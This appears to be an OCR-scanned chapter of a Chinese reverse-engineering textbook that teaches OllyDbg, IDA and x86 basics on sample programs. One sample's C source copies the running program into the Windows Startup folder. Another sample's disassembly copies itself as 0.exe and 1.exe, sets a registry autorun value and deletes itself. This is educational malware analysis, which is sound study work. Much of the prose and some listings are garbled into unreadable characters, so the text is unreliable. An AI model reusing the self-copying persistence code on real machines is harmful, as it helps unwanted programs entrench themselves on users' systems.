BATOT AT H“JE 87 30 el — T, B R RH wsampleO1b.exe 3
a s

2EF AR A 2 Windows XP SP3, i KFIEE AR T B 3073
e I A FRAINL B ] RE = BT ANIE . 1E Vista S EhRAH, “J5 37
a2 A A=

C:\Users\ | /" % \AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup

1.3.2 ka2 T A

B3t Process Monitor FA TR GE&NE FHIIXEEFEE, R E#— D IRER
i, FATEE B AR

ﬁﬁ%"ﬁx&*ﬁﬁ‘ﬂﬂifﬁ' REFP 0] 78N bug FRIAAE,  — ORI 2 /D N R 4 DL
_FIjJ At o

L4 I—ﬁ/\\\



o HIBHEN . Bk

o BB TAL A NI
Wr S RS AR AR A B T . IR AT R ThRE . FRATTAT LAAE AT RE
220 bug RO T FEAE AT — AR E — W A, PUE IR S 2 n) AR
g, —ORU, WIREBNIEES, WIS ARA R E R & M
RESIOES, W LR BI4T R sk v B W .
Wr S BB AEAT B AL E P W AR B iE1T, MREHAT — 558 20 W — It
MR D BN BBk . BT R IE T TR, AT PALL— ki8S E —
ITARIS N BALBANBATREF 25, 40\ NAE RIS SRR . Bk
R H A X3 G R B s o

o BEN: R HH BR EU BE N bR B 5B

o With: LT BRHON SN B SO, TR BT 19—
LRI

i Jr Wl BR A A MNAFEEE 7, XA ThRE Al IAERE P s 4T (IR
& NN NEARERIRE.

A2 o IRA T R 2% OllyDbg 1.10, 223 /71515 S WL 5% .
e OllyDbg
http://www.ollydbg.de/
1.3.3 ] OllyDbg il 22 /2 ¥ 1 412 4

PIAEFRATTH wsampleO1b.exe #E %, 2 OllyDbg F) &5 .


http://www.ollydbg.de/

L= i

| e e R 4RIE AR

rrrrrr
LA, Do PTR D [

A f1] OllyDbg 17 J1- wsample01b.exe
OllyDbg 718 [ B 45 LA R JLAN 43 o
o /b FERICYHE
o FET: WAEIEE N
o Hb: FHAFAE
o HN: LI

IXELET 1% 3 W Dhae AT r] LUB 8 2%, BIAEFRAT S04 N AT =& 7 kAT
BEAE, SRIGTESH & D %N 00401000, % K OK %4

o ERILHTE HF% Curl+G
o TEH A H I fiii Go To — Expression



Enter expression to follow in Stack EI

00401000

El
(] I Cancel |

A Hh#E 2 HHE 00401000

X, R E b4 G ik 00401000 DL)G FE 72 5 .

X R PP X BT i A G F

00401000 >/$%$ 55

00401001
00401003
00401008
0040100D
cookie]

00401012
00401014
00401017
0040101C
00401022
00401023
00401025

8BEC

. B8 04200000

E8 D3080000

. Al 00304000

. 33C5
. 8945 FC

68 00100000

. 8D85 FCDFFFFF
. 50
. 6A 00

FF15 04204000

DS: [<GetModuleFileNameW> ]

0040102B
00401031
00401032
00401034
00401036
00401038
0040103A

8D8D FCEFFFFF

. 51
. 6A 00

6A 00

. 6A 07
. 6A 00

FF15 B4204000

DS:[<SHGetFolderPathi>]

00401040
00401045
0040104B
0040104C
00401052
00401054
0040105A
00401058
00401061
00401062

68 14214000

. 8D95 FCEFFFFF
. 52

FF15 08204000

. 6A 00

8D85 FCEFFFFF

. 50
. 8D8D FCDFFFFF
. 51

FF15 00204000

PUSH EBP

MOV EBP,ESP

MOV EAX, 2004

CALL wsample@. chkstk

MOV EAX,DWORD PTR DS:[__ security

XOR EAX, EBP

MOV DWORD PTR SS:[EBP-4],EAX
PUSH 1000

LEA EAX,DWORD PTR SS:[EBP-2004]
PUSH EAX ; |PathBuffer
PUSH © ; |hModule =
CALL DWORD PTR

NULL

LEA ECX,DWORD PTR SS:[EBP-1004]
PUSH ECX

PUSH ©

PUSH ©

PUSH 7

PUSH ©

CALL DWORD PTR

PUSH OFFSET "\wsample®@lb.exe"

LEA EDX,DWORD PTR SS:[EBP-1004]
PUSH EDX ; |ConcatString

CALL DWORD PTR DS:[<lstrcatW>]
PUSH © ; /FailIfExists = FALSE
LEA EAX,DWORD PTR SS:[EBP-1004]
PUSH EAX ; |NewFileName

LEA ECX,DWORD PTR SS:[EBP-2004]
PUSH ECX ; |ExistingFileName
CALL DWORD PTR DS:[<CopyFileW>]




00401068 |. 8B4D FC MOV ECX,DWORD PTR SS:[EBP-4]
0040106B |. 33CD XOR ECX,EBP

0040106D |. 33C0 XOR EAX,EAX

0040106F |. E8 2F000000 CALL wsample@. security check cookie
00401074 |. 8BES MOV ESP,EBP

00401076 |. 5D POP EBP

00401077 \. C3 RETN

WVFIRZ A BB AL G RS, —ARERIHEGRE T T
We? »HSE ANEIL g0 A Kbs, BT I B s 2 R0 AR 7 2R
T T4, FISEBRIREE R AR o AT TR 2 58 4 BEAR I A 132 4,
HERE M AT EL T

1.3.4 X ICZmARE AT 43 Hr

WAELEFRATRATFENE B 00401000 2 5 HIFE P& 5. FATRINFE IR
WH T GetModuleFileNameW. SHGetFolderPathW. IstrcatW-.
CopyFileW iX J L~ R %L

[ 48—, WA FRATH Process Monitor T4 & BLFEF 2> ]« A 7 e 4 2
S, FATAT BAAED < E T CopyFileW bR HU &2 F K AT 1X —
B8, rE, BMEEAEICEmAHS, HEGE MR L RE 7 1032 45 5
177

A2, FRATHIHEN 25 IEFVE ? 7] DLd I P47 DI Re kA — T .
o R IR 00401000 FRFERIAT, SRJE 4% F2 8, s i3

Hi% $ Breakpoint — Toggle. XK, Hili: 00401000 115 Ft B AL
o, XU ERATEAAE 00401000 AL E B E T — AN

BN ORAZ N FO B, B LR 1 U7 H sy Debug — Run. X,
OllyDbg 4% 3 3] wsampleOlb.exe, =4 FI|3AWr s BT £ 00401000 7 E I,
MRS IEET,



011¥Dbg — wsamplellb. exe — [CPU — main thread, module w=zamplel]

Eile ¥iew Debuz FPluginz Options Window Help

Sx| wjnj wijv) $1 W] % L|EM[T|W/H|C|/|K[B|R|..|5| I5[H]?]

s 55 FUZH EEF
Ba4aiaai) .« SBEC Moy EEBF,ESP

pE4EiaEz) ) . B2 84200008 MOU - ER=, 2864

pa4aiaEz) ) . ES DI3ES0088 CALL wsarpled.B04613E8
ga4aiaan) ) « Al BE3A46608 MO ER, OWORD FTR DS: [4836606]
Gad4aiaiz2|) . 3305 #“0R ER=,EEF

Ga4a1ai4)] .« 8945 FC MOU DWORD PTR S5: [EEP-41,ERX
BE4E1A17() . &2 B61EEEEE PUSH _1E86E

pE4Eiaic)y . 2085 FCOFFFFF|LER ERX,DOWORD PTR SS: [EEF-26@4] [

EufSize = 18EE [ 4896, ]

FathBuffer
hModu le = MULL
GetHModu LeF i LeMamehl

BEd4niEzz(] . 5@ FUSH ERX

BE4E1E23|] . &6H BE FUSH &

AEdEiEzE| ]« FFIE B4284088| CALL OWORD PTR DS: [<&KERHELZZ.GetModu L&
HEdEiEzE|] o 8020 FCEFFFFF|LER ECH,DWORD FTR S5: [EEF-1064]
aaan1asi|] o & PUSH ECK

A TEF7E 00401000 11 07 S B = ia 4T

BROR, FATATLLES BPIELT, BABITREFTIES . % F7 #on
BB, % F8 RonH LB . AT IRAIAFE#HAN
GetModuleFileNameW FlI SHGetFolderPathW EREL [N &, KL 7E X B
A T4 F8.

MEERRRL N F8, REFARRIAT 15 S, RN A LT E A4 E 1
AR & N A B2 kAR

WMAERNAERE T —HisT#) 00401062 [ )5, 28 H CopyFilew
ZHIINLE . IXE, BRI E OARRE O, A0 UG BB S 6 1
SCAFYR ER AR AN H bR A

H1 T IAE CopyFileW i BAHERA,  BIIAE R 37 U e it A S
fFo XA RILATHRIZ N F8 48, TRt CopyFileW %,
FERE— MRk, BATMS KB ea il 7
wsampleO1b.exe 44,

WL R AT, FATAT LR SR IR S, AIMHRIE R A
I 18] AT T ERER3RAE, XS —

BE: HagFFAE
ALt CPU WHEINA <S8, BAFARAE H 4

=, SRIAE EAX. ECX. EDX. EBX. ESP. EBP. ESI. EDI.
EIP.



XL AEAEHA % E k. B0 ESP A1 EBP FHT&HA, 1M
EIP JUI45 ] 4RI $AT 482 -

OllyDbg A7 _EJ5 By ar 474 B H 2 S 24 {25 A7 o BU1E

uleEntryPoint >

3 FFFFFFFF ]

t BIFFFFFFEF)

t BIFFFFFFFF)
& FFFFFFFF ]
FFFOFEEaLFFF)

A OllyDbg 1125 7 75 i I

IR FATLE OllyDbg 1% T~ F8 5l F7, FEFMiaHIT —4%184,
X FRATTAT LE 2 EIP MME SRR T HATHE 2 A A8 .

7E EIP [N F 534 C. P. A, Z+ S T~ D. O XJLANFEE, EA
RFEWRE. —BRNSEXEZRFEINE—NFRF (Flag 71
“+£}) , EfE CF. PF. AF. ZF, XUbrE X EHTF 445,
[IRNTThEY =

o ¥ ZF N1 M| Bk#%
o %7 CF 1 M ABkiE

A FHEHME T EAX. ECX. EDX. EBX. ESP. EBP. ESI.
EDI. EIP N & MinE B AasEA, FAT8aT LT B8 20t
7o BRILZAMETN _FIE S BoRn HAD — BT A S ME, KT IXEHT
&, HFRMEF -2 FHE THEAR R



1.3.5 R Mg R S IR REAT ELE

wJE, FATEH 25 H wsampleOlb.exe FVEACHS, KE ALK B St
R 28 B DA S Sk i v 15 A8 R 7 2 4 5 YR A RS 34T LR A

v wsampleO1b.cpp

#tinclude <Windows.h>
#tinclude <tchar.h>
#include <shlobj.h>

int cpy(void)

/] RBCH 5 AR AR

TCHAR szThis[2048];

GetModuleFileName(NULL, szThis, sizeof(szThis));
/7 KRR B S A

TCHAR szStartup[2048];
SHGetFolderPath(NULL, CSIDL_STARTUP,

NULL, SHGFP_TYPE_CURRENT, szStartup);

lstrcat(szStartup, _T("\\wsample@lb.exe"));
VAR CA=E= R RS €S

CopyFile(szThis, szStartup, FALSE);

return 0;

}

int APIENTRY _tWinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,

int nCmdShow)
{
cpy();
MessageBox(GetActiveWindow(),
_T("Copied!"), _T("MESSAGE"), MB_OK);
return 0;
}

FEHAEII M, AR ZAE I H AR 7 2R S s S ik 2 sh &40



o

MR EERTE, FSDHTABaS0 i 10 DO TR 1847 B Ak
Fer, ABEMEHENNEGERE, S0 LB 7] <2 W4 /7, sl
AT I LA 1) <4 SR BB o

Mk, AERATEAE A R, —BEAR 2 Je H Stirling A1 IDA B — 4
RHIFET, SR)5 M OllyDbg HBIa AT KR EH — L4 SVE R A

=, BRI NEGE, tad —&PI5MIIER. BELEHIR
2, R UERIH SEXRHTT

B A OB A
Windows M EE A UK BRS80S A LE
e OllyDbg
http://www.ollydbg.de/
¢ Immunity Debugger
<http://www.immunitysec.com/products-immdbg.shtml.
e WinDbg (32 {7 it 4)
http://msdn.microsoft.com/zh-cn/windows/hardware/gg463016
e WinDbg (64 /i it 4)
http://msdn.microsoft.com/zh-cn/windows/hardware/gg463012

Hr OllyDbg & — M EH AT T A, Immunity Debugger A1

OllyDbg —#£ E & EJEH 7 5. H 7 Immunity Debugger F/1

Python HI2EFIMEEL R, K522 Python R 4F& FIMIW, HEH A

Fid OllyDbg Al WinDbg, K%} Immunity Debugger A~ 2%
G .


http://www.ollydbg.de/
http://msdn.microsoft.com/zh-cn/windows/hardware/gg463016
http://msdn.microsoft.com/zh-cn/windows/hardware/gg463012

WinDbg ARG &# T, AEZTFEAENXHE. Ad, REF
WinDbg e 5 48 N AZ AUk K RE PP 3R T I, e 7 i 4R
Rootkit iIX#7£ Windows A% "z 47 KB EARE P INE 2 AT E

KT HwIMATH OllyDbg, HATA LB LK) 1.10 fieds, DL HRIT T
KA 2.xx iAo BOHT AR ASRE Ui PU 2 L LT, NI RESE 7 THI SR
KK, BeipG RS eARNH LR, At ALk
B E X R



1.4 > HRERI dmis &
1.4.1 HECAFITAE RIL RS

W SRR A F S TS A, ME AKX e Bt o the B4 —
A 72 7. WRRE R ER N ER G2, AN nlEe
RE LS 2 0ATA AL

AR B JRAEAENE L e ? R IE AL TESIE =

AR 5 IR FAHEL, IERWIES RS BEZE &I, PR
AR 1000 S48 4 Bedn 'S HBFERIRER?, SEREAE AV g A D
(CLIRES

AN, UESEAER, R LR R EH B AR TE S HR R A A
% . 1EW Windows F& 5 52 ¥ A B2 AE I A 1) Windows API R —#%,
i ) CAE B EC R 2 IEmTe S, BRIASHIESE — NildT
T, SEbr BRI EEREAE S MR 20 ~ 50 KA.

NTHERATHOR B — W TR R EEERNIL wfE S, R —
N CPU B LAF 5B,
HARANTREE“CLER I E Wm0 Abs ek ) w I wTE 7. X
BN BEMETEENAD N, XS iz ek FF
T

AR —F2, X BRI NS AR R S A EH AR, AN TR
Mo W KK E M SR N 2 SmiE S 3G, BEOVENENR—T
XU SR HE.

AR R =R

e ZN 1| P4 B

MOV MOV EAX,ECX |EAX =ECX ¥ ECX HMEA N EAX




ADD ADD EAX,ECX |EAX +=ECX ¥ EAX BME N ECX W1E
SUB SUB EAX,ECX |EAX -=ECX ¥ EAX M{E L ECX E
INC INC EAX EAX++ ¥ EAX WI{E N 1
DEC DEC EAX EAX-- ¥ EAX HIEE 1
LEA EAX, _ ' ;
LEA (ECX44] EAX = ECX+4 |¥ ECX+4 f{EAfZ N EAX
if(EAX == ECX) | X MAMEREAT LU BOE R 45 R &
ZF=1 bri&
CMP CMP EAX.ECX else # EAX 5 ECX #[F, N zF=1
ZF=0 # EAX 5 ECX AN, N ZF=0
if(EAX == 0) ¥EE 0 AT LB RIE S R K E
ZF=1 ik
LD WESIIBERGITLVE | e # EAX N0, N ZF=1
ZF=0 # EAX AN 0, N ZF=0
if(ZF==1)
JE(JZ) JE 04001000 GOTO #7 ZF N 1, NIBk#E 3] 04001000
04001000
if(ZF==0)
JNE(JNZ) [ JNE 04001000 GOTO #7 ZF 4 0, NIBk#E 3] 04001000
04001000
JMP JMP 04001000 GOTO 04001000 | Jo&&FBk#: £ 04001000
CALL CALL IstrcmpW W H IstrempW
PUSH PUSH 00000001 % 00000001 A%




POP POP EAX HAR ISR FMEAF N EAX

1.4.2 JLYR1E S & W] SEIL SR A 7 S|
WRE—ERRERR, B 7 LHXEKRNIZEEEHGE L LTS
Hrp AR B BRI 8 A N 1% A cmp. test LA je jne XS, X4t
T84 H TEIL it 5 sc il 5 =

— KRB S T, Al if. switch Z54R B F R RIS 0r S
MAELIES S, M@ ERPRER cmp. test $§4, LLLRTE R E
eI SO TR A SR ST

A, T RK IR —T wsampleOla.exe. fEASANFETH, < HIWidy
LITBHGETE N 2012, RJE B ANERNEE, Xt — MRt

AT KB — N wsampleOla.exe [ 45 .

v wsample(la.exe

00401000 ; int _ stdcall wWinMain(int,int,LPCWSTR 1lpStringl,int)
00401000 wWinMain proc near

00401000

00401000 lpStringl = dword ptr 16h

00401000

00401000  push ebp

00401001  mov ebp, esp

00401003  mov eax, [ebp+lpStringl]

00401006  push offset String2 ; "2012"
0040100B  push eax ; 1pStringl
0040100C call ds:__imp__ 1strcmpW@8 ; lstrcmpW(x,Xx)
00401012  push 0 ; uType
00401014  push offset Caption ; "MESSAGE"
00401019  test eax, eax bhs

0040101B  jnz short loc_401035 X441 3C
0040101D ¥7~Hello! 2012
0040101D  push offset Text ; "Hello! 2012"
00401022 call ds:__imp__ GetActiveWindow@o ;
GetActiveWindow()

00401028  push eax ; hind




00401029 call ds:__imp__MessageBoxW@l6 ; MessageBoxW(x,X,X,X)
0040102F xor eax, eax

00401031  pop ebp
00401032  retn 10h ; lpCaption
00401035 loc_401035: if7~Hello! Windows

00401035  push offset aHelloWindows ; "Hello! Windows"
0040103A call ds: imp__ GetActiveWindow@o ;
GetActiveWindow()

00401040  push eax ; hhnd

00401041 call ds:__imp__ MessageBoxW@l6 ;
MessageBoxW(x, X, X, X)

00401047 xor eax, eax

00401049  pop ebp

0040104A  retn 16h

0040104A wWinMain endp

H A 7E 00401018 B35 HEL 7 —> jnz $84, IXE A2 0 SCRTAE RN
=

00401019 1 test 54, AR 2 — D AP ER and 154, AL
B oRIRTEE N 0] “HB and $82 M@ ? IXFEYE T 22 BB TR T
T AT ) BEAR A R R s

test eax, eax A2, XM eax N OB ZF BN 1.

FERZHIFI L, test T HHE WA MU ZF A7 45 4 FK, U test eax,

eax, I test ecx, ecXo

Rk, R B A R 27 A7 48 1) test $5%, — Mol 2 56 F 70 3¢,
A LA SRR Oy A5 A A A B9 0, TUKE ZF BN 17

jnz TR HIEEAZ, X ZF A8 0 Bt ATEk . AL, ¥ jnz $5 20 test
TR S5 AR SEIL 1 R IR 2 .

o 7 eax N 0 APk
® % eax 7’9 1 )I_\“JEJEZ%




A4, eax B &M ESKINE? B 2& 0040100C ] call IstrempW IR
EIfi-e

1.4.3 A7 AR H

call {84 2K AH TR, X— S NIZAMERAE, B RIR EME AT
JAE eax H o IX AT LEAEZ— iG], 75 K2 B EE 28 H #2 IX A4
o BT AR SRR iR Fe A4 TR AR FHE ZAE eax e ? 7R H
RERIZAR: “IXE— M. BN RIE S WS FREFNE, W
EACAS R IR [BME AT AUAE eax Hs

M4, fRidhss I MSEOAE B e ? S8 EMIT push 8172 IU7E
. OllyDbg KA F ARG 0, KEALLFEESR—T, 8F4HUT
push ¥8 21}, push FIESHEAANAFRH .

i bRTIR, R R AT LB N R I AR

v C i 5 i e 2 H

function(1, 2, 3);

v C g TE ) R O

push 3
push 2
push 1
call function

FEILHE S, SECRILIRR LR BB AR, H S I i i R
SHRYE CPU M AR — 2R, KR LN ESHLE




A RAL I H HE AT LT .
%4, 00401006 7 E ARSI .

00401006  push offset String2 ; "2012"
0040100B  push eax ; lpStringl
0040100C call ds: _imp__ 1lstrcmpW@8 ; lstrcmpW(x,X)

IRBE L C IR E 22T AarErle?
BT ZHGEMNEERT AR, IR 202 N X

eax = lstrcmpW(eax, "2012");

HATHA E e, IR [BHEEAFAE eax HH .

IstrempW BRI ThRER, UZSEH AR B AHRIR, NERE 0, 74
Mz EEE 0. Kk, 1R eax 5 2012 #HIE], W45 R g2 eax=0.

00401019 ] test $5 4K~ eax N 0 NPK; ZF BN 1, 0040101B 1] jnz
54 %?éZFﬁoﬁﬁﬁ%% K, 4 ZF N 1 R A3 T B
B, M A2 4k 24T 0040101D HIFE4, S5 RHLE R T Hello! 2012 X 4%
HE

WSRNIA IR, AR A, A Km @, KR
KAl 2 B oH A — i wsampleOla.exe IV ZmARHG

BATNNFF B2 RER S T IR, RIS ENE T — A KM, e
AL T —HC w2, HERME MR A ZE H K De ?
AR ZAERSIEE TR (AOHEKRKEEENEEN R



We) ?

1.4.4 ML AR 2 C 18 5 A

FHIRATE KA —F wsampleO1b.exe FJVC 4w LHY .

XA TRBIFRA TR RBEATEE M, BIHEAEE IDA BRHEET
IC9ARIE, BAERIEARIENEE FIHAREE —F. a0 EIx B,
KK BeASBEAEIwEE B AR AR R C 18 S VRACADIE 2

Vv wsampleO1b.exe

00401000 cpy
00401000 ExistingFileName
00401000 NewFileName

word ptr -2004h
word ptr -1004h

00401000 var_4 = dword ptr -4
00401000

00401000  push ebp

00401001  mov ebp, esp

00401003 mov eax, 2004h

00401008 call _chkstk

0040100D mov eax, __security_cookie
00401012  xor eax, ebp

00401014  mov [ebp+var_4], eax

00401017  push 1000h ; nSize
0040101C 1lea eax, [ebp+ExistingFileName]
00401022  push eax ; lpFilename
00401023  push 0 ; hModule
00401025  call GetModuleFileNameW
0040102B 1lea ecx, [ebp+NewFileName]

00401031  push ecx
00401032  push 0
00401034  push 0
00401036 push 7

00401038  push 0
0040103A  call SHGetFolderPathW
00401040  push offset String2 ; "\\wsample@lb.exe"

00401045 lea edx, [ebp+NewFileName]

0040104B  push edx ; lpStringl
0040104C  call lstrcatW

00401052  push 0 ; bFailIfExists
00401054  lea eax, [ebp+NewFileName]

0040105A  push eax ; lpNewFileName




0040105B 1lea ecx, [ebp+ExistingFileName]

00401061  push ecx ; lpExistingFileName
00401062  call CopyFileW

00401068  mov ecx, [ebp+var_4]

0040106B  xor ecx, ebp

0040106D xor eax, eax

0040106F call __security check_cookie

00401074  mov esp, ebp

00401076  pop ebp

00401077 retn
00401077 cpy endp
00401077

00401080 wWinMain
00401080  call cpy

00401085  push 0 ; uType
00401087  push offset Caption ; "MESSAGE"
0040108C  push offset Text ; "Copied!"
00401091 call GetActiveWindow

00401097  push eax ; hwnd
00401098 call MessageBoxW

0040109E xor eax, eax

004010A0 retn 16h
004010A0 wWinMain endp

JEHE AR AT 2
i+ wsampleOlb.exe FH R Z KA A, Fit R EHfE T push 1 call
FRVE B B iz RE e R KR 70185 T,

7E cpy BRAEUH k1) ExistingFileName. NewFileName. var_ 4 #5/& b8 £
I R A5 & . lea eax, [ebp+ExistingFileName] ' ExistingFileName H]
HITAIAT —> ebp+, XAME R E HA, HREHF K
ExistingFileName [1JHihEA7 3] eax” F AT LA T o

S5 A ORTE A=A VAL 3 N TETB e S

S

char ExistingFileName[2048];
eax = ExistingFileName;



FXH, HEKRK LR EE wsampleOla.exe A1 wsampleOlb.exe H
KA\ REC AR 17, X T B P KRB R A2 2% [ .



1.5 EIFILgwmis S TAEREFIT N
1.5.1 25 BREIR B T A

EARZ L TATE LK sample_mal.exe AT 041, HEAZERE, K
fikiz AR ZE 22 AR E BT A — FIXMET, Il gw 45 2 kA %2
FEFHIAT N

4G H OllyDbg 17 sample_mal.exe, %A 575 IC49 % H A st A 4,
132 B rh % $% Search for » Name in all modules.

PRk, MR IR R R R SR8 N Export [f] RegSetValueExA
PR OllyDbg S HFid A R m AL, HZ 4 A RegSetVa... Hi ] LA
P E AL R H AR T o

m All names

Address Module |Section |Tupe Hare |~

¥rOESC2E ADUARIZZ| . tent Export RegRestorekewRA E
TrOESCOE ADVARPISZ| . tent Enport FegRestorekeyll

TrOESOEA ADVARPISZ| . tent Enport FegSavekewd

TrOESFZ23 ADVARPISZ| .tent Export RegSavekewERH

TrOESHIE ADOVARISZ| .tent Exnport RegSavekewEnll

YrOESEEC ADVARIZZ| .tent Export RegSavekeull

YrOASADD ADVARPISZ| .tent Export RegSetkewSecurity

YOSB1BCC SHELL2Z2 | .text Import AOUAFIZZ. RegSetkKewSecurity

TrOACYSE ADVARPISZ| . tent Enport FegSetllalus=A

rrF218158 SHLWARI |.text Import AOUAFIZZ. RegSetlalued

HE4AZ2EHE8E sample_m| .rdata Import HOUAFIZZ. RegSetllalueERA

TrO2ZEADY AOUVARISZ| .tent Enport RegSetlUalusErA =
TrE2182C RPCRT4 tert Import HOUAFIZZ2. RegSetlalusEnB =
rrE21842 SHLWARI |.tent Import HOUAFIZZ. RegSetlalusExA

Ye2E188C IMM32 tert Import AOUAFIZZ. RegSetlalusExll

Frl16l88a comct 32| . tent Import AOUAFIZZ. RegSetlalusExl

TrO30F5Y AOVARPISZ| .tent Enport FegSetllalusEnll

rrF21818 SHLWARL | .tent Import AOUAFIZZ. RegSetlalusEnll

TrFALEEA Secur3l |.tedt Import AOUAFIZZ. RegSetlalusExll

7OEB1A1@ SHELLSZ | ovewt | Tmport | ADUAFI32. ReaSetlalusEyli
Mz =
A REIRE D

Xty R 44 it = Bk iE Bz e B Sk, BN ORIRATIAE R AR E A B
A1 B T

e RegSetValueExA

| &

e RegCloseKey

e RegCreateKeyExA



e CopyFileA

T B b R AR S A AR A . — & Export 5 55— 2 Import. 15
REAEFR g Export 1 p& £ XU 58 B W 5

RegSetValueExA. RegCloseKey. RegCreateKeyExA £/ ADVAPI32 &
e, 1M CopyFileA fiZ T kernel32 fRELHT,

% F9 iz1T sample_mal.exe, F&/FS7EW mAE 151817,

% Cul+F9 (J&1T £ Return &) B #% Alt+F9 GaiT 2 H AR
TR 7S B2ia 47 2 R EUR B i HL T

011yDhg — =sample mal.exe — [CPO — main thread, module zample m]

Eile ¥iew Debuz Flugins Options Window Help

S4x] w|l] w4 ¥1 3| ) LIE/M|T|WH|[C|/|K|B|R|..|5]| ZE]?]

BE4813ES(] « FUSH &
BE4E13ET(] . CALL ESI C&SHELLZ2. SHEetSpecialFolderPathA

BE4E13ES(] . MOU EDT,OWORD FTR DS: [<&KERMELZZ. lstrca] kernel3Z2. lstrcath

BE4E1ZEF || « &2 24214R06 PUSH sample_m. BE4E21584 StringToAdd = "™@.ene™
BE4a12F4 ) . 205424 B4 LEA ED:, ODWORD FTR S5: [CESP+54]

BE4a1aF2]] .« 52 PUSH ED ConcatString

BE4a13F3|) . FFEOY CALL EDI letreatH

MOU EBw, DWORD FTR DS: [<&KERMEL3Z.CopwFi| kernel3z2.CopuFiled

FUSH @ FailIfExists = FALSE
LEH EHH OWaRD PTR 55: [ESP+54]

FUSH MHewF i leMame

LER EEH OWORD PTR 55: [ESP+4581]
FUSH ECH ErxistingFileNames
i CHAHLL EBX CopuFileR

. &H Bd FUSH @

. EH B FLUZH &
« 805424 58 LER EDw,DOWORD FTR 55: [ESP+53]

BE4E15FE|| « SEID 182A4688
aE4a1401|] « 60 B4
gEd4aidnz)) . 04424 54
Ba4a1467|] . 5@
BE4a1462|| . S02C24 SEE466
Ba4ai46r|] - 51

AE4E1416

BEd4a1414
BE4a1416

A CopyFileA &% [7] 1 H 77

011¥Dbg — =zample mal.eze — [CPO — main thread, module sample m]

Elle ¥iew Debuz Flugins Options Window Help
T . . = =T

@ x| wnj wifs $4E ] # LE[m|T|wH|c|/[K|B|R|.|S]| Z|E]?]
EEd4Eiz1y|| . 2045 F2 LEH EHH DWORD PTR S5: [EEBP-E1
BEa4Ei1z1A|] . 58 FLE Fpbisposition
BE4a121E|| . 33F6 KDH ESI ESI
BE4a1210(] . 8040 FC LERA ECX.DNDHD PTR 55:[EEF-41
BEa4a1328(] . 51 FUSH ECH pHandle
Ba4R12321|] . 56 FUSH ESI pSEDurLty = MULL
HAEd4Elzz2| ) - &8 SFE0EFEaE FUSH BFERZF Aoocess = KEY_ALL_RACCES
BE4R12327 || . 56 FUSH ESI Options ==* HEE_DPTIDH_HDH_UDLHTILE
Aadalzza|l « &8 A4214868 FUSH sample_m. 804682 1A4 (B Fe e L
BE4R1220() . 56 FUSH ESI HEEErvEd =+ @
BE4E132E(] « &8 CC2l4860 PUSH sample_m.B84021CC Subkew = "Sof twareMicrosoft-indows
BE4E1Z23) |« &8 D2ERE03E FUSH S@n@anEz hkew = HEEY_LOCAL_MACHIME
BE4a1338)| . 8975 FC MOL DWORD FPTR S5: CEEFP-41,ESI
HE4E1E3E |« FFLE B2204086) CALL DWORD FTR DS5: [<&ADOVARISZ.RegCreatel LReaCreatskewEnA

2ECE TEST ERX,ERX
HE4E1 345 V?E 2B JHE SHORT samp le_m. BE4E137E
BE4E1345)] . 8BS AC MO EDX, DWMORD FTR S5: [EEF+C]
AE4E1z48) | » EB4E B MOLW ERX, DWORD FTR S5: [EEBF+21]
HE4E124E|| « EB40 FC HMaw ECH, OWORD PTR 55: [EBP-41
aE4E134E|] « B2 FUSH ED- BufSize
AE4E134F|] . 58 FUSH ERX [BUFFET
BE4E135A|] . &R Al FUSH 1 LalueTupe = REG_SZ




A RegCreateKeyExA PR [7] 1) 3 77

HRFE— FMAMSREMGT R, siae%E W AR 2 dtis 2
il SCPE . HNEM RGN T .

1.5.2 RICwF U EEIPHE
BT oRIRATH IDA $7H sample_mal.exe, A& —LLEEREFEHE,
B SR E EH] 0.exe I 1exe fHL T .

Vv sample_mal.exe

.text:004013C2 push 400h ; nSize
.text:004013C7 lea eax, [esp+85Ch+ExistingFileName]
.text:004013CE push eax ; lpFilename
.text:004013CF push ecx ; hModule
.text:004013D0 call ds:__imp__ GetModuleFileNameA@12
.text:004013D6 mov esi, ds:__imp__ SHGetSpecialFolderPathA@l6
.text:004013DC push (%] ; fCreate
.text:004013DE push 7 ; nFolder
.text:004013E0 1lea ecx, [esp+860h+Data]

.text:004013E4 push ecx ; lpszPath
.text:004013E5 push (%] ; hwndOwner
.text:004013E7 call esi ; SHGetSpecialFolderPathA(x,x,x,Xx)
.text:004013E9 mov edi, ds:__imp__ lstrcatA@8
.text:004013EF push offset String2 ; "\\0.exe"
.text:004013F4 1lea edx, [esp+85Ch+Data]

.text:004013F8 push edx ; 1pStringl
.text:004013F9 call edi ; lstrcatA(x,x) ; lstrcatA(x,x)
.text:004013FB mov ebx, ds: imp__ CopyFileA@12
.text:00401401 push (%] ; bFailIfExists
.text:00401403 1lea eax, [esp+85Ch+Data]

.text:00401407 push eax ; lpNewFileName
.text:00401408 lea ecx, [esp+860h+ExistingFileName]
.text:0040140F push ecx ; lpExistingFileName
.text:00401410 call ebx ; CopyFileA(x,Xx,X)
.text:00401412 push 0 ; fCreate
.text:00401414 push 5 ; hFolder
.text:00401416 1lea edx, [esp+860h+Datal]

.text:0040141A push edx ; lpszPath
.text:0040141B push 0 ; hwndOwner

.text:0040141D call esi ; SHGetSpecialFolderPathA(x,Xx,X,X)
.text:0040141F push offset al _exe ; "\\1l.exe"




.text:00401424 1lea eax, [esp+85Ch+Data]

.text:00401428 push eax ; 1pStringl
.text:00401429 call edi ; lstrcatA(x,x) ; lstrcatA(x,x)
.text:0040142B push 0 ; bFailIfExists
.text:0040142D 1lea ecx, [esp+85Ch+Data]

.text:00401431 push ecx 5 lpNewFileName
.text:00401432 lea edx, [esp+860h+ExistingFileName]
.text:00401439 push edx ; lpExistingFileName
.text:0040143A call ebx ; CopyFileA(x,x,x)
.text:0040143C lea eax, [esp+858h+Data]

.text:00401440 lea edx, [eax+1]

.text:00401443
.text:00401443 loc 401443:

.text:00401443 mov cl, [eax]

.text:00401445 inc eax

.text:00401446 test cl, cl

.text:00401448 jnz short loc_401443
.text:0040144A sub eax, edx

.text:0040144C push eax ; cbData
.text:0040144D lea eax, [esp+85Ch+Data]
.text:00401451 push eax ; lpData
.text:00401452 call SetRegValue

.text:00401457 add esp, 8

.text:0040145A call SelfDelete

.text:0040145F push 0 ; nExitCode
.text:00401461 call ds: __imp__ PostQuitMessage@4
.text:00401467 Jjmp loc_40151F

IDA B B R LN SE, A2 Ta2Ek? thhh, XL
PFEA a2 i pushy call. mov. lea ZFFEAFE M, 1ERNILHAR
TE SR 1 2 L3 5 T 1

